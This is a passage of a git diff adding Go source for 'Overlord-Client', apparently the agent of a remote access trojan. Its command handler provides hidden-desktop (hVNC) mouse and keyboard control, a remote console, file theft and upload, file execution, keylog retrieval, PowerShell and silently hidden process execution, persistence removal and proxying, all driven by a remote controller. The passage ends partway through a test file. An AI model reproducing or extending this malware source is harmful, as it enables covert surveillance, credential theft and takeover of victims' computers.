+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_mouse_move":
+ if !env.HVNCMouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ x, y := int32(0), int32(0)
+ if payload != nil {
+ switch v := payload["x"].(type) {
+ case float64:
+ x = int32(v)
+ case float32:
+ x = int32(v)
+ case int:
+ x = int32(v)
+ case int8:
+ x = int32(v)
+ case int16:
+ x = int32(v)
+ case int32:
+ x = v
+ case int64:
+ x = int32(v)
+ case uint:
+ x = int32(v)
+ case uint8:
+ x = int32(v)
+ case uint16:
+ x = int32(v)
+ case uint32:
+ x = int32(v)
+ case uint64:
+ x = int32(v)
+ }
+ switch v := payload["y"].(type) {
+ case float64:
+ y = int32(v)
+ case float32:
+ y = int32(v)
+ case int:
+ y = int32(v)
+ case int8:
+ y = int32(v)
+ case int16:
+ y = int32(v)
+ case int32:
+ y = v
+ case int64:
+ y = int32(v)
+ case uint:
+ y = int32(v)
+ case uint8:
+ y = int32(v)
+ case uint16:
+ y = int32(v)
+ case uint32:
+ y = int32(v)
+ case uint64:
+ y = int32(v)
+ }
+ }
+ log.Printf("hvnc: mouse move %d,%d", x, y)
+ _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_mouse_down":
+ if !env.HVNCMouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ btn := 0
+ x, y := int32(0), int32(0)
+ if payload != nil {
+ switch v := payload["button"].(type) {
+ case float64:
+ btn = int(v)
+ case float32:
+ btn = int(v)
+ case int:
+ btn = v
+ case int8:
+ btn = int(v)
+ case int16:
+ btn = int(v)
+ case int32:
+ btn = int(v)
+ case int64:
+ btn = int(v)
+ case uint:
+ btn = int(v)
+ case uint8:
+ btn = int(v)
+ case uint16:
+ btn = int(v)
+ case uint32:
+ btn = int(v)
+ case uint64:
+ btn = int(v)
+ }
+ switch v := payload["x"].(type) {
+ case float64:
+ x = int32(v)
+ case float32:
+ x = int32(v)
+ case int:
+ x = int32(v)
+ case int8:
+ x = int32(v)
+ case int16:
+ x = int32(v)
+ case int32:
+ x = v
+ case int64:
+ x = int32(v)
+ case uint:
+ x = int32(v)
+ case uint8:
+ x = int32(v)
+ case uint16:
+ x = int32(v)
+ case uint32:
+ x = int32(v)
+ case uint64:
+ x = int32(v)
+ }
+ switch v := payload["y"].(type) {
+ case float64:
+ y = int32(v)
+ case float32:
+ y = int32(v)
+ case int:
+ y = int32(v)
+ case int8:
+ y = int32(v)
+ case int16:
+ y = int32(v)
+ case int32:
+ y = v
+ case int64:
+ y = int32(v)
+ case uint:
+ y = int32(v)
+ case uint8:
+ y = int32(v)
+ case uint16:
+ y = int32(v)
+ case uint32:
+ y = int32(v)
+ case uint64:
+ y = int32(v)
+ }
+ }
+ log.Printf("hvnc: mouse down %d", btn)
+ if x != 0 || y != 0 {
+ _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
+ }
+ _ = capture.HVNCInputMouseDown(btn)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_mouse_up":
+ if !env.HVNCMouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ btn := 0
+ x, y := int32(0), int32(0)
+ if payload != nil {
+ switch v := payload["button"].(type) {
+ case float64:
+ btn = int(v)
+ case float32:
+ btn = int(v)
+ case int:
+ btn = v
+ case int8:
+ btn = int(v)
+ case int16:
+ btn = int(v)
+ case int32:
+ btn = int(v)
+ case int64:
+ btn = int(v)
+ case uint:
+ btn = int(v)
+ case uint8:
+ btn = int(v)
+ case uint16:
+ btn = int(v)
+ case uint32:
+ btn = int(v)
+ case uint64:
+ btn = int(v)
+ }
+ switch v := payload["x"].(type) {
+ case float64:
+ x = int32(v)
+ case float32:
+ x = int32(v)
+ case int:
+ x = int32(v)
+ case int8:
+ x = int32(v)
+ case int16:
+ x = int32(v)
+ case int32:
+ x = v
+ case int64:
+ x = int32(v)
+ case uint:
+ x = int32(v)
+ case uint8:
+ x = int32(v)
+ case uint16:
+ x = int32(v)
+ case uint32:
+ x = int32(v)
+ case uint64:
+ x = int32(v)
+ }
+ switch v := payload["y"].(type) {
+ case float64:
+ y = int32(v)
+ case float32:
+ y = int32(v)
+ case int:
+ y = int32(v)
+ case int8:
+ y = int32(v)
+ case int16:
+ y = int32(v)
+ case int32:
+ y = v
+ case int64:
+ y = int32(v)
+ case uint:
+ y = int32(v)
+ case uint8:
+ y = int32(v)
+ case uint16:
+ y = int32(v)
+ case uint32:
+ y = int32(v)
+ case uint64:
+ y = int32(v)
+ }
+ }
+ log.Printf("hvnc: mouse up %d", btn)
+ if x != 0 || y != 0 {
+ _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
+ }
+ _ = capture.HVNCInputMouseUp(btn)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_mouse_wheel":
+ if !env.HVNCMouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ delta := int32(0)
+ x, y := int32(0), int32(0)
+ if payload != nil {
+ switch v := payload["delta"].(type) {
+ case float64:
+ delta = int32(v)
+ case float32:
+ delta = int32(v)
+ case int:
+ delta = int32(v)
+ case int8:
+ delta = int32(v)
+ case int16:
+ delta = int32(v)
+ case int32:
+ delta = v
+ case int64:
+ delta = int32(v)
+ case uint:
+ delta = int32(v)
+ case uint8:
+ delta = int32(v)
+ case uint16:
+ delta = int32(v)
+ case uint32:
+ delta = int32(v)
+ case uint64:
+ delta = int32(v)
+ }
+ switch v := payload["x"].(type) {
+ case float64:
+ x = int32(v)
+ case float32:
+ x = int32(v)
+ case int:
+ x = int32(v)
+ case int8:
+ x = int32(v)
+ case int16:
+ x = int32(v)
+ case int32:
+ x = v
+ case int64:
+ x = int32(v)
+ case uint:
+ x = int32(v)
+ case uint8:
+ x = int32(v)
+ case uint16:
+ x = int32(v)
+ case uint32:
+ x = int32(v)
+ case uint64:
+ x = int32(v)
+ }
+ switch v := payload["y"].(type) {
+ case float64:
+ y = int32(v)
+ case float32:
+ y = int32(v)
+ case int:
+ y = int32(v)
+ case int8:
+ y = int32(v)
+ case int16:
+ y = int32(v)
+ case int32:
+ y = v
+ case int64:
+ y = int32(v)
+ case uint:
+ y = int32(v)
+ case uint8:
+ y = int32(v)
+ case uint16:
+ y = int32(v)
+ case uint32:
+ y = int32(v)
+ case uint64:
+ y = int32(v)
+ }
+ }
+ if x != 0 || y != 0 {
+ _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
+ }
+ _ = capture.HVNCInputMouseWheel(delta)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_key_down":
+ if !env.HVNCKeyboardControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ code := ""
+ if payload != nil {
+ if v, ok := payload["code"].(string); ok {
+ code = v
+ }
+ }
+ if vk := keyCodeToVKHVNC(code); vk != 0 {
+ log.Printf("hvnc: key down code=%s vk=%d", code, vk)
+ _ = capture.HVNCInputKeyDown(vk)
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_key_up":
+ if !env.HVNCKeyboardControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ code := ""
+ if payload != nil {
+ if v, ok := payload["code"].(string); ok {
+ code = v
+ }
+ }
+ if vk := keyCodeToVKHVNC(code); vk != 0 {
+ log.Printf("hvnc: key up code=%s vk=%d", code, vk)
+ _ = capture.HVNCInputKeyUp(vk)
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_start_process":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ filePath := ""
+ if payload != nil {
+ if v, ok := payload["path"].(string); ok {
+ filePath = v
+ }
+ }
+ log.Printf("hvnc: start process %q", filePath)
+ err := capture.StartHVNCProcess(filePath)
+ if err != nil {
+ sendCommandResultSafe(env, cmdID, false, err.Error())
+ return nil
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+
+ case "console_start":
+ sessionID, _ := envelopePayloadString(envelope, "sessionId")
+ cols, rows := envelopePayloadInts(envelope)
+ if sessionID == "" {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
+ }
+ if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
+ _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ return nil
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "console_input":
+ sessionID, _ := envelopePayloadString(envelope, "sessionId")
+ data, _ := envelopePayloadString(envelope, "data")
+ if sessionID != "" && data != "" {
+ _ = console.Input(sessionID, data)
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "console_stop":
+ sessionID, _ := envelopePayloadString(envelope, "sessionId")
+ if sessionID != "" {
+ console.Stop(sessionID)
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "console_resize":
+
+ sessionID, _ := envelopePayloadString(envelope, "sessionId")
+ cols, rows := envelopePayloadInts(envelope)
+ _ = sessionID
+ console.Resize(sessionID, cols, rows)
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ }
+
+ switch action {
+ case "file_list":
+ path, _ := envelopePayloadString(envelope, "path")
+ return HandleFileList(ctx, env, cmdID, path)
+ case "file_download":
+ path, _ := envelopePayloadString(envelope, "path")
+ return HandleFileDownload(ctx, env, cmdID, path)
+ case "file_upload":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ offset := payloadNumberToInt64(payload["offset"])
+ total := payloadNumberToInt64(payload["total"])
+ transferID, _ := payload["transferId"].(string)
+ data := []byte{}
+ if d, ok := payload["data"].([]byte); ok {
+ data = d
+ }
+ return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID)
+ case "file_delete":
+ path, _ := envelopePayloadString(envelope, "path")
+ return HandleFileDelete(ctx, env, cmdID, path)
+ case "file_mkdir":
+ path, _ := envelopePayloadString(envelope, "path")
+ return HandleFileMkdir(ctx, env, cmdID, path)
+ case "file_zip":
+ path, _ := envelopePayloadString(envelope, "path")
+
+ zipCtx, cancel := context.WithCancel(ctx)
+ registerCancellableCommand(cmdID, cancel)
+ goSafe("file_zip", env.Cancel, func() {
+ defer unregisterCommand(cmdID)
+ if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled {
+ log.Printf("file_zip error: %v", err)
+ }
+ })
+ return nil
+ case "file_read":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ maxSize := int64(0)
+ if ms, ok := payload["maxSize"].(float64); ok {
+ maxSize = int64(ms)
+ }
+ return HandleFileRead(ctx, env, cmdID, path, maxSize)
+ case "file_write":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ content, _ := payload["content"].(string)
+ return HandleFileWrite(ctx, env, cmdID, path, content)
+ case "file_search":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ searchID, _ := payload["searchId"].(string)
+ basePath, _ := payload["path"].(string)
+ pattern, _ := payload["pattern"].(string)
+ searchContent := false
+ if sc, ok := payload["searchContent"].(bool); ok {
+ searchContent = sc
+ }
+ maxResults := 0
+ if mr, ok := payload["maxResults"].(float64); ok {
+ maxResults = int(mr)
+ }
+ return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults)
+ case "file_copy":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ source, _ := payload["source"].(string)
+ dest, _ := payload["dest"].(string)
+ return HandleFileCopy(ctx, env, cmdID, source, dest)
+ case "file_move":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ source, _ := payload["source"].(string)
+ dest, _ := payload["dest"].(string)
+ return HandleFileMove(ctx, env, cmdID, source, dest)
+ case "file_chmod":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ mode, _ := payload["mode"].(string)
+ return HandleFileChmod(ctx, env, cmdID, path, mode)
+ case "file_execute":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ return HandleFileExecute(ctx, env, cmdID, path)
+ case "process_list":
+ return HandleProcessList(ctx, env, cmdID)
+ case "process_kill":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil {
+ if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
+ payload = make(map[string]interface{}, len(rawPayload))
+ for k, v := range rawPayload {
+ ks, ok := k.(string)
+ if !ok {
+ continue
+ }
+ payload[ks] = v
+ }
+ }
+ }
+ pid := int32(0)
+ if p, ok := payload["pid"].(float64); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(string); ok {
+ if parsed, err := strconv.Atoi(p); err == nil {
+ pid = int32(parsed)
+ }
+ }
+ if p, ok := payload["pid"].(uint16); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(uint8); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(uint64); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(uint32); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(uint); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(int32); ok {
+ pid = p
+ }
+ if p, ok := payload["pid"].(int64); ok {
+ pid = int32(p)
+ }
+ if p, ok := payload["pid"].(int); ok {
+ pid = int32(p)
+ }
+ return HandleProcessKill(ctx, env, cmdID, pid)
+ case "keylog_list":
+ return HandleKeylogList(ctx, env, cmdID)
+ case "keylog_retrieve":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ filename, _ := payload["filename"].(string)
+ return HandleKeylogRetrieve(ctx, env, cmdID, filename)
+ case "keylog_clear_all":
+ return HandleKeylogClearAll(ctx, env, cmdID)
+ case "keylog_delete":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ filename, _ := payload["filename"].(string)
+ return HandleKeylogDelete(ctx, env, cmdID, filename)
+ case "script_exec":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ scriptContent, _ := payload["script"].(string)
+ scriptType, _ := payload["type"].(string)
+ if scriptType == "" {
+ scriptType = "powershell"
+ }
+ return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
+ case "silent_exec":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil {
+ if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
+ payload = make(map[string]interface{}, len(rawPayload))
+ for k, v := range rawPayload {
+ ks, ok := k.(string)
+ if !ok {
+ continue
+ }
+ payload[ks] = v
+ }
+ }
+ }
+ command, _ := payload["command"].(string)
+ command = strings.TrimSpace(command)
+ if len(command) >= 2 {
+ if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') {
+ command = command[1 : len(command)-1]
+ }
+ }
+ argsRaw, _ := payload["args"].(string)
+ hideWindow := true
+ if v, ok := payload["hideWindow"].(bool); ok {
+ hideWindow = v
+ }
+ cwd, _ := payload["cwd"].(string)
+ if command == "" {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"})
+ }
+ args := parseCommandArgs(argsRaw)
+ if err := startSilentProcess(command, args, cwd, hideWindow); err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "uninstall":
+ res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
+ _ = wire.WriteMsg(ctx, env.Conn, res)
+
+ if err := removePersistence(); err != nil {
+ log.Printf("uninstall: failed to remove persistence: %v", err)
+ }
+
+ os.Exit(0)
+ case "disconnect":
+ res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
+ _ = wire.WriteMsg(ctx, env.Conn, res)
+ resetForReconnect(env)
+ return ErrReconnect
+ case "reconnect":
+ resetForReconnect(env)
+ res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
+ _ = wire.WriteMsg(ctx, env.Conn, res)
+ return ErrReconnect
+ case "proxy_start":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ return HandleProxyStart(ctx, env, cmdID, payload)
+ case "proxy_stop":
+ return HandleProxyStop(ctx, env, cmdID)
+ default:
+ log.Printf("command: unknown action=%s", action)
+ res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
+ return wire.WriteMsg(ctx, env.Conn, res)
+ }
+
+ return nil
+}
+
+func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) {
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil {
+ return "", false
+ }
+ val, _ := payload[key].(string)
+ return val, val != ""
+}
+
+func envelopePayloadInts(envelope map[string]interface{}) (int, int) {
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil {
+ return 0, 0
+ }
+ cols, _ := payload["cols"].(int)
+ rows, _ := payload["rows"].(int)
+
+ if cols == 0 {
+ if f, ok := payload["cols"].(float64); ok {
+ cols = int(f)
+ }
+ if i, ok := payload["cols"].(int64); ok {
+ cols = int(i)
+ }
+ }
+ if rows == 0 {
+ if f, ok := payload["rows"].(float64); ok {
+ rows = int(f)
+ }
+ if i, ok := payload["rows"].(int64); ok {
+ rows = int(i)
+ }
+ }
+ if cols == 0 {
+ cols = 120
+ }
+ if rows == 0 {
+ rows = 36
+ }
+ return cols, rows
+}
+
+func toInt(v interface{}) int {
+ if v == nil {
+ return 0
+ }
+ if i, ok := v.(int); ok {
+ return i
+ }
+ if i, ok := v.(int8); ok {
+ return int(i)
+ }
+ if i, ok := v.(int16); ok {
+ return int(i)
+ }
+ if i, ok := v.(int32); ok {
+ return int(i)
+ }
+ if i, ok := v.(int64); ok {
+ return int(i)
+ }
+ if i, ok := v.(uint8); ok {
+ return int(i)
+ }
+ if i, ok := v.(uint16); ok {
+ return int(i)
+ }
+ if i, ok := v.(uint32); ok {
+ return int(i)
+ }
+ if i, ok := v.(uint64); ok {
+ return int(i)
+ }
+ if f, ok := v.(float64); ok {
+ return int(f)
+ }
+ return 0
+}
diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go
new file mode 100644
index 0000000..de50c2b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/desktop.go
@@ -0,0 +1,92 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "overlord-client/cmd/agent/capture"
+ rt "overlord-client/cmd/agent/runtime"
+ "sync"
+ "time"
+)
+
+var (
+ persistedDisplayValue int
+ persistedDisplayMu sync.Mutex
+)
+
+func persistDisplaySelection(display int) {
+ persistedDisplayMu.Lock()
+ persistedDisplayValue = display
+ persistedDisplayMu.Unlock()
+}
+
+func GetPersistedDisplay() int {
+ persistedDisplayMu.Lock()
+ defer persistedDisplayMu.Unlock()
+ return persistedDisplayValue
+}
+
+func DesktopStart(ctx context.Context, env *rt.Env) error {
+ interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60)
+ log.Printf("desktop: starting stream (max fps %d)", fps)
+ ticker := time.NewTicker(interval)
+ defer ticker.Stop()
+ for {
+ select {
+ case <-ctx.Done():
+ log.Printf("desktop: stopping stream")
+ return nil
+ case <-ticker.C:
+ if err := capture.Now(ctx, env); err != nil {
+ if ctx.Err() != nil {
+ log.Printf("desktop: stopping stream")
+ return nil
+ }
+ log.Printf("desktop: capture error: %v", err)
+ }
+ }
+ }
+}
+
+func DesktopSelect(ctx context.Context, env *rt.Env, display int) error {
+ prev := env.SelectedDisplay
+ maxDisplays := capture.MonitorCount()
+ if display < 0 || display >= maxDisplays {
+ log.Printf("desktop: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
+ display = 0
+ }
+ env.SelectedDisplay = display
+
+ persistDisplaySelection(display)
+ if prev != display {
+ capture.ResetPrev()
+ capture.ResetDesktopCapture()
+ }
+ log.Printf("desktop: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
+ return nil
+}
+
+func DesktopMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.MouseControl = enabled
+ return nil
+}
+
+func DesktopKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.KeyboardControl = enabled
+ return nil
+}
+
+func DesktopCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.CursorCapture = enabled
+ capture.SetCursorCapture(enabled)
+ return nil
+}
+
+func DesktopDuplicationControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.DesktopDuplication = enabled
+ capture.SetDesktopDuplication(enabled)
+ capture.ResetPrev()
+ capture.ResetDesktopCapture()
+ capture.ResetMonitorCache()
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/desktop_coords.go b/Overlord-Client/cmd/agent/handlers/desktop_coords.go
new file mode 100644
index 0000000..71697b4
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/desktop_coords.go
@@ -0,0 +1,28 @@
+package handlers
+
+import "overlord-client/cmd/agent/capture"
+
+func resolveDesktopPoint(display int, x, y int32) (int32, int32) {
+ bounds := capture.DisplayBounds(display)
+ if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+ return x, y
+ }
+
+ absX := int32(bounds.Min.X) + x
+ absY := int32(bounds.Min.Y) + y
+
+ if absX < int32(bounds.Min.X) {
+ absX = int32(bounds.Min.X)
+ }
+ if absY < int32(bounds.Min.Y) {
+ absY = int32(bounds.Min.Y)
+ }
+ if absX >= int32(bounds.Max.X) {
+ absX = int32(bounds.Max.X - 1)
+ }
+ if absY >= int32(bounds.Max.Y) {
+ absY = int32(bounds.Max.Y - 1)
+ }
+
+ return absX, absY
+}
diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go
new file mode 100644
index 0000000..34ecbfe
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go
@@ -0,0 +1,70 @@
+package handlers
+
+import (
+ "context"
+ "fmt"
+ "log"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+type Dispatcher struct {
+ Env *runtime.Env
+}
+
+func NewDispatcher(env *runtime.Env) *Dispatcher {
+ return &Dispatcher{Env: env}
+}
+
+func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface{}) (err error) {
+ defer func() {
+ if r := recover(); r != nil {
+ log.Printf("dispatcher: panic: %v", r)
+ err = fmt.Errorf("dispatcher panic: %v", r)
+ }
+ }()
+
+ msgTypeRaw := envelope["type"]
+ msgType, _ := msgTypeRaw.(string)
+ if msgType == "" {
+ log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
+ return nil
+ }
+ switch msgType {
+ case "hello_ack":
+ return HandleHelloAck(ctx, d.Env, envelope)
+ case "ping":
+ log.Printf("dispatcher: received ping")
+ return HandlePing(ctx, d.Env, envelope)
+ case "pong":
+ return HandlePong(ctx, d.Env, envelope)
+ case "command":
+ log.Printf("dispatcher: handling command type=%s", envelope["commandType"])
+ return HandleCommand(ctx, d.Env, envelope)
+ case "plugin_event":
+ return HandlePluginEvent(ctx, d.Env, envelope)
+ case "notification_config":
+ return HandleNotificationConfig(ctx, d.Env, envelope)
+ case "command_abort":
+ cmdID, _ := envelope["commandId"].(string)
+ if cmdID != "" {
+ if cancelCommand(cmdID) {
+ log.Printf("dispatcher: cancelled command %s", cmdID)
+ } else {
+ log.Printf("dispatcher: command %s not found or already completed", cmdID)
+ }
+ }
+ return nil
+ default:
+ log.Printf("dispatcher: unknown message type=%v", msgType)
+ return nil
+ }
+}
+
+func envelopeKeys(envelope map[string]interface{}) []string {
+ keys := make([]string, 0, len(envelope))
+ for key := range envelope {
+ keys = append(keys, key)
+ }
+ return keys
+}
diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
new file mode 100644
index 0000000..77b6cf7
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
@@ -0,0 +1,304 @@
+package handlers
+
+import (
+ "context"
+ "errors"
+ "testing"
+
+ "overlord-client/cmd/agent/config"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+func TestHandlePing(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ envelope := map[string]interface{}{
+ "ts": float64(1234567890),
+ }
+
+ if err := HandlePing(ctx, env, envelope); err != nil {
+ t.Fatalf("HandlePing failed: %v", err)
+ }
+
+ if len(writer.msgs) < 1 {
+ t.Fatal("Expected at least 1 message")
+ }
+
+ var pong wire.Pong
+ if err := msgpack.Unmarshal(writer.msgs[0], &pong); err != nil {
+ t.Fatalf("Failed to unmarshal pong: %v", err)
+ }
+
+ if pong.Type != "pong" {
+ t.Errorf("Expected type 'pong', got '%s'", pong.Type)
+ }
+ expectedTS := int64(1234567890)
+ if pong.TS != expectedTS {
+ t.Errorf("Expected timestamp %d, got %d", expectedTS, pong.TS)
+ }
+}
+
+func TestHandleCommand_Ping(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "ping",
+ "id": "cmd-ping-1",
+ "ts": float64(1234567890),
+ }
+
+ if err := HandleCommand(ctx, env, envelope); err != nil {
+ t.Fatalf("HandleCommand(ping) failed: %v", err)
+ }
+
+ if len(writer.msgs) < 1 {
+ t.Fatal("Expected at least 1 message")
+ }
+
+ var firstMsg map[string]interface{}
+ if err := msgpack.Unmarshal(writer.msgs[0], &firstMsg); err != nil {
+ t.Fatalf("Failed to unmarshal first message: %v", err)
+ }
+
+ msgType, _ := firstMsg["type"].(string)
+ t.Logf("First message type: %s", msgType)
+}
+
+func TestHandleCommand_Desktop(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "desktop",
+ "id": "cmd-desktop-1",
+ "payload": map[string]interface{}{},
+ }
+
+ if err := HandleCommand(ctx, env, envelope); err != nil {
+ t.Fatalf("HandleCommand(desktop) failed: %v", err)
+ }
+
+ t.Logf("Desktop command sent %d messages", len(writer.msgs))
+}
+
+func TestHandleCommand_ProcessList(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "process_list",
+ "id": "cmd-proc-1",
+ "payload": map[string]interface{}{},
+ }
+
+ if err := HandleCommand(ctx, env, envelope); err != nil {
+ t.Fatalf("HandleCommand(process_list) failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.ProcessListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if result.Type != "process_list_result" {
+ t.Errorf("Expected process_list_result")
+ }
+}
+
+func TestHandleCommand_FileList(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ tmpDir := t.TempDir()
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "file_list",
+ "id": "cmd-file-1",
+ "payload": map[string]interface{}{"path": tmpDir},
+ }
+
+ if err := HandleCommand(ctx, env, envelope); err != nil {
+ t.Fatalf("HandleCommand(file_list) failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.FileListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if result.Type != "file_list_result" {
+ t.Errorf("Expected file_list_result")
+ }
+}
+
+func TestHandleCommand_UnknownCommand(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "unknown_command_xyz",
+ "id": "cmd-unknown-1",
+ "payload": map[string]interface{}{},
+ }
+
+ if err := HandleCommand(ctx, env, envelope); err != nil {
+ t.Logf("Unknown command returned error (expected): %v", err)
+ }
+
